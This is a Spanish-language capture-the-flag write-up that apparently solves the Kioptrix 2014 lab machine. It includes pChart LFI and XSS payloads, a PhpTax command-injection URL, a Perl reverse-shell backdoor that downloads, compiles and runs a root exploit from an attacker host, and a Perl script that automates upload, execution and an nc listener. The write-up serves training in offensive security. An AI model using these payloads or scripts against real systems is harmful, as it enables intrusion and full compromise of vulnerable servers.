14
SOLUCION KIOPTRIX 2014 By @Killr00t http://trackmaze.blogspot.com [email protected]

Writeup Kioptrix 2014 killr00t

Embed Size (px)

DESCRIPTION

Solucionario del Reto: Kioptrix 2014, nivel básico #CTF #Web por @Killr00t

Citation preview

Page 1: Writeup Kioptrix 2014 killr00t

SOLUCION KIOPTRIX 2014By @Killr00t

http://[email protected]

Page 2: Writeup Kioptrix 2014 killr00t

Identificación Target

IPTarget : 172.16.49.129

Ahora que tenemos el target , realizamos un scan con nmap

---

Tenemos dos puertos web y un ssh cerrado, haciendo un reconocimiento de los dos puerto web obtenemos lo siguiente.

Page 3: Writeup Kioptrix 2014 killr00t

Puerto 80 : Server: Apache/2.2.21 (FreeBSD)

En el navegador encontramos

Puerto 8080:

verificando en el navegador hay un Forbidden, tal vez tenga filtrado el acceso por ip o por algun otro mecanismo ya que responde lo mismo a cualquier archivo o directorio .

Page 4: Writeup Kioptrix 2014 killr00t

Sistema Operativo :

Device type: general purpose|WAP|broadband router|specialized|firewallRunning (JUST GUESSING): FreeBSD 6.X|7.X|8.X (98%), AirSpan embedded (96%), Motorola embedded (93%), Efficient Networks embedded (92%), VMware ESX Server 4.X|5.X (92%), m0n0wall FreeBSD 6.X (92%)OS CPE: cpe:/o:freebsd:freebsd:6.3 cpe:/o:freebsd:freebsd:7.0 cpe:/o:freebsd:freebsd:8.1 cpe:/o:vmware:esxi:4.1 cpe:/o:m0n0wall:freebsd:6 cpe:/o:m0n0wall:freebsd cpe:/o:vmware:esxi:5.0Aggressive OS guesses: FreeBSD 6.3-RELEASE (98%), FreeBSD 7.0-RELEASE (98%), FreeBSD 7.1-PRERELEASE 7.2-STABLE (98%), FreeBSD 7.2-RELEASE - 8.0-RELEASE (98%), FreeBSD 8.1-RELEASE (97%), AirSpan ProST WiMAX access point (96%), Motorola RFS 6000 wireless switch (93%), FreeBSD 7.0-RC1 (93%), FreeBSD 7.0-RELEASE - 8.0-STABLE (93%), FreeBSD 7.1-RELEASE (93%)

Con este fingerprint que nos hace nmap del servidor web nos indica que es una version de FreeBSD, de lo obtenido hasta ahora tenemos que en el puerto 80 nos encontramos con la pagina por default del apache que nos muestra It Works! , en este punto no tenemos mucho pero podemos empezar a tratar de identificar posibles directorios de aplicaciones web existentes, en este caso no es necesario un brutforce sobre directorios ya que revizando el codigo fuente de la web por default del apache nos encontramos con una etiqueta META la cual redirecciona a una posible ruta.

http://172.16.49.129/pChart2.1.3/examples/index.php

Page 5: Writeup Kioptrix 2014 killr00t

Navegando por el aplicativo es una herramienta para generar graficos de esos que se utilizan para crear estadisticas (torta, barras etc..) la ventaja en este caso es que nos dice exactamente la versión utilizada, acá podemos probar si existen vulnerabilidades asociadas a este aplicativo, en 1337day encontramos solo uno que nos dice "2014-01-24 pChart 2.1.3 - Multiple Vulnerabilities ", viendo los detalles de esta notificación, este aplicativo posee dos vulnerabilidades XSS y Directorio transversal y/o LFI.

• examples/sandbox/script/session.php?<script>alert('XSS')</script>• examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

probando esto efectivamente las vulnerabilidades existen, XSS siendo un ataque del lado cliente la explotación en este entorno es inútil, asi que nos concentraremos en el LFI.

http://172.16.49.129/pChart2.1.3/examples/index.php?Action=View&Script=/etc/passwd

Page 6: Writeup Kioptrix 2014 killr00t

revizando el passwd nos encontramos con varios datos

1. La version del sistema operativo efectivamente es FreeBSD Release 9.0.0 2. El unico usuario que tiene acceso de shell (/bin/csh) es el usuario root, 3. Encontramos varios usuarios con sus rutas

Estos usuarios posiblemente tengan algo pero para poder leer alguna configuración o algo en sus directorios tenemos que conocer la ruta , las formas de explotar el LFI o por lo menos las que conozco y que utilizo son:

- PHP-Wrappers => http://www.php.net/manual/en/wrappers.php- Infeccion de Logs => http://blog.0verl0ad.com/2008/08/local-file-inclusion-infectando.html- Infectando Sessiones PHP => http://blog.0verl0ad.com/2008/08/local-file-inclusion-infectando.html- Lectura de Archivos de Configuracion de Base de datos y conexion al mysql e ir escalando

Page 7: Writeup Kioptrix 2014 killr00t

Probando en cada una de ellas la única que nos da algo de esperanzas es la infección de logs, ahora bien cuales son los logs en esta versión de sistema operativo?? por que no es lo mismo un FreeBSD a un Debian o SUSE , como las rutas cambian y desconocemos del sistema operativo , nos toca buscar las configuraciones por default en la instalación de servicios.

http://www.freebsd.org/doc/handbook/network-apache.html

En este lugar nos dice la configuración inicial del servicio apache dándonos luces de donde se encuentran estos archivos como por ejemplo :

"/usr/local/etc/apache2x/httpd.conf" donde apache2x nos indica la version del servicio en nestro caso despues de haberlo identificado con anterioridad "Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)" la cual nos dice que la version es 2.2 asi que la ruta a revizar seria"/usr/local/etc/apache22/httpd.conf"

http://172.16.49.129/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf

accediendo nos da el archivo de configuración de este servicio en donde trataremos de buscar configuraciones y mas rutas en donde encontremos logs y probar la infeccion.

Page 8: Writeup Kioptrix 2014 killr00t

Dentro de los datos importantes encontramos :

• DocumentRoot "/usr/local/www/apache22/data"• CustomLog "/var/log/httpd-access.log"• AccessLog "/var/log/httpd-access.log"• /usr/local/etc/apache22/extra/httpd-autoindex.conf• /usr/local/etc/apache22/extra/httpd-userdir.conf• /usr/local/etc/apache22/extra/httpd-info.conf• /usr/local/etc• /usr/local/etc• /usr/local/etc/apache22/extra/httpd-vhosts.conf• /usr/local/etc/apache22/extra/httpd-manual.conf• /usr/local/etc/apache22/extra/httpd-dav.conf• /usr/local/etc/apache22/extra/httpd-default.conf• /usr/local/etc/apache22/extra/httpd-ssl.conf• LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined• LogFormat "%h %l %u %t \"%r\" %>s %b" common• LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O"

combinedio• SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080> DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2"> Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser</Directory>

De la anterior información podemos concluir varias cosas:

1. la infección de logs es posible dado de que podemos ver lo que inyectamos pero cuenta con una protección de filtrado.

2. En el puerto 8080 efectivamente se esta protegiendo el acceso mediante el User-Agent3. Ambos puertos equivalen al mismo server en carpetas diferentes4. No es explotable el LFI para la ejecución remota de código :(

Page 9: Writeup Kioptrix 2014 killr00t

Inyección de código y vista en el log

Lo único que podemos hacer o lo único que se me ocurre es tratar de ver que es lo que hay en el otro puerto, como entonces vemos esto ? la respuesta es modificando nuestro User-Agent por el que el aplicativo espera para poder dejar pasar en este caso "Mozilla/4.0", lo realizare con un complemento de firefox llamado User-Agent Switcher el uso es muy simple así que no detallare mucho, solo es colocar nuestro useragent personalizado y listo le indicamos al navegador desde el complemento que lo vamos a utilizar y listo.

Acceso al PHPTAX

Page 10: Writeup Kioptrix 2014 killr00t

Al momento de acceder al puerto 8080 con el UserAgent modificado se nos muestra un directorio de otro aplicativo llamado "phptax" procediendo de la misma forma como se realizo con el "pChart2.1.3", buscamos en 1337day o exploit-db y encontramos 3 vulnerabilidades a probar.

2013-06-03 PhpTax 0.8 Code Execution Vulnerability Exploit para metasploit2012-10-10 PhpTax pfilez Parameter Exec Remote Code Injection Descripcion y exploit2012-10-03 phptax 0.8 <= Remote Code Execution Vulnerability Descripcion

llegado a este punto llego a la conclusión de que el LFI solo era el puente para llegar a esta parte ya que si alguno de estos bugs existe, podemos ejecutar comandos de sistema operativo, así permitiéndonos tener una webshell o shell Interactiva.

revisando "http://1337day.com/exploit/14952" encontramos que la vulnerabilidad se encuentra en una variable llamada pfilez la cual es incluida directamente para crear un archivo de tipo imagen, , el problema esta en el no filtrado del parámetro ni de las validaciones pertinentes que si se cree una imagen correctamente aparte también de la escritura de archivos.

----------------VULNERABILIDAD DESCRIPCION------------------------------------http://localhost/phptax/drawimage.php?pfilez=xxx;comando&pdf=makedrawimage.php, line 63: include ("./files/$_GET[pfilez]"); // makes a png image$pfilef=str_replace(".tob",".png",$_GET[pfilez]);$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);Header("Content-type: image/png");if ($_GET[pdf] == "") Imagepng($image);if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");

---------------------------------------------------------------------------------

Según lo anterior podemos hacer 3 cosas para poder tener algo mas manejable para la ejecucion de comandos, 1 es la subida de una web shell por medio de wget o de su familiar en FreeBSD llamado "fetch" con el cual podamos subir nuestra webshell y la segunda es directamente subir un backdoor y que nos de una shell interactiva en nuestro equipo, la tercera es mirar si tiene el netcat instalado e intentar hacer un Reverse Shell , como nos gusta lo mas complejo vamos a hacer la segunda opción esto con el fin de enseñar y aprender que es el objetivo de estos entornos de entrenamiento.

Page 11: Writeup Kioptrix 2014 killr00t

Para poder llegar a ese objetivo tenemos que hacer lo sisguiente:

1. Crear nuestro Backdoor2. Automatir subida y ejecucion de backdoor.

1. Creacion del BackDoor

Voy a utilizar perl para la creación del Backdoor, este Backdoor lo que realizara es una conexión inversa dándonos una shell.

Para la creación de esto vamos a utilizar sockets en donde le vamos a pasar por parámetros la ip y puerto a donde debe conectarse y posteriormente darnos la shell

------------------------- CODIGO BACKDOOR --------------------------#!/usr/bin/perluse Socket;$iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");$paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");$proto = getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");

$version = qx(uname -a);$dirAc = qx(pwd);$ids = qx(id);

open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");print q (================] Perl BackDoor Code By Killr00t [===============

);print "[+] Sistema :\t". $version;print "[+] Directorio Actual :\t". $dirAc;print "[+] Id Usuario :\t". $ids."\n";

print "Explotando LocalRoot Exploit...\n\n";

system("fetch -o /tmp http://172.16.49.1/26368");system("mv /tmp/26368 /tmp/26368.c");system("gcc -o /tmp/expl /tmp/26368.c");system("chmod +x /tmp/expl");print "[+] Exploit Creado Correctamente\n[+]Obteniendo Root\n\n";system("/tmp/expl");system('/bin/sh -i ');close(STDIN);close(STDOUT);close(STDERR);-------------------------------------------------------------------

Page 12: Writeup Kioptrix 2014 killr00t

He agregado mas funcionalidad al backdoor lo que hace básicamente se conecta a una ip y puerto que le indiquemos, al momento de conectar descarga un posible root exploit de mi maquina atacante lo compila y lo ejecuta obteniendo de esta forma de una vez la shell como usuario root.

El exploit obviamente ya lo he probado manualmente con el fin de ir “seguros” xDD La ejecución del Backdoor después de subido es el siguiente.

perl backdoor.pl <ipAtacante> <Puerto> .

2 . Automatizacion de Subida y Ejecucion backdoor.

Para la automatización se crea otro script en perl lo cual va realizar lo siguiente

- Aprovechar el bug y subir el backdoor al sistema en la carpeta /tmp/- verificar la subida del backdoor- ejecutar el backdoor con los parametros necesarios de conexion

despues de esto nos debe salir una linda shell con root, acá el código del script de automatización

----------------------------------------------- CODIGO AUTOMATIZACIÓN -----------------------------------#!/usr/bin/perlrequire LWP::Simple;require LWP::UserAgent;

my $ua = LWP::UserAgent->new;$ua->agent("Mozilla/4.0");

$backdoor = $ARGV[0];$atacante = $ARGV[1];$puerto = $ARGV[2];

if(!$backdoor || !atacante || !$puerto ){&help();}else{ &subirback();}

sub subirback{$test ="test";$subir = "http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;fetch%20-o%20/tmp/%20".

$backdoor."%20;&pdf=make";$list = "http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;ls%20%-la%20/tmp/bdoor%20%3e".

$test.";&pdf=make";$veri = "http://172.16.49.129:8080/phptax/".$test;

print "[+] Subiendo Backdoor ...\n";$su = $ua->get($subir);$li = $ua->get($list);

print "[+] Verificando Upload Backdoor ...\n";$ve = $ua->get($veri);$inf = $ve->content();

if($ve->status_line()=~m/200/g and length($inf)>5){print "[+] Backdoor Subido Correctamente\n";print "[+] Ejecutando Backdoor ...\n";system("xterm -e nc -lvvp ".$puerto."&");

Page 13: Writeup Kioptrix 2014 killr00t

&ejecutarback();}else{

print "[x] Error al subir, verifique Ruta de backdoor\n";}

}sub ejecutarback{

$url="http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;%20perl%20/tmp/bdoor%20".$atacante."%20".$puerto.";&pdf=make";

sleep(1);$res = $ua->get($url);print "\n[Done]\n";

}sub help{

print "Uso: erl $0 <rutaBackdoor> <ipAtacante> <puertoAtacante>\n";}.---------------------------------------------------------------------------------------------------------este script lo que hace es aprovechar el bug para subir el backdoor, ejecutarlo y recibir la shell.La ejecución seria

perl file.pl <RutaBackdoor> <ipAtacante> <puertoAtacante>

en mi caso seria:perl poc.pl http://172.16.49.1/bdoor 172.16.49.1 9090

el script crea el puerto a la escucha que es el mismo que se le pasa como parámetro optimizando de este modo la ejecución, esta seria el resultado de la ejecución del script:

Page 14: Writeup Kioptrix 2014 killr00t

Como podemos ver la explotacion es exitosa y nuestro script funciona correctamente ahora ya como root buscando encontramos el siguiente archivo en el directorio del root

congrats.txt

Basicamente nos felicita y nos indica revizar algunos logs para ver todo nuestro recorrido testiando el server.

Bueno esto ha sido todo.Salud2.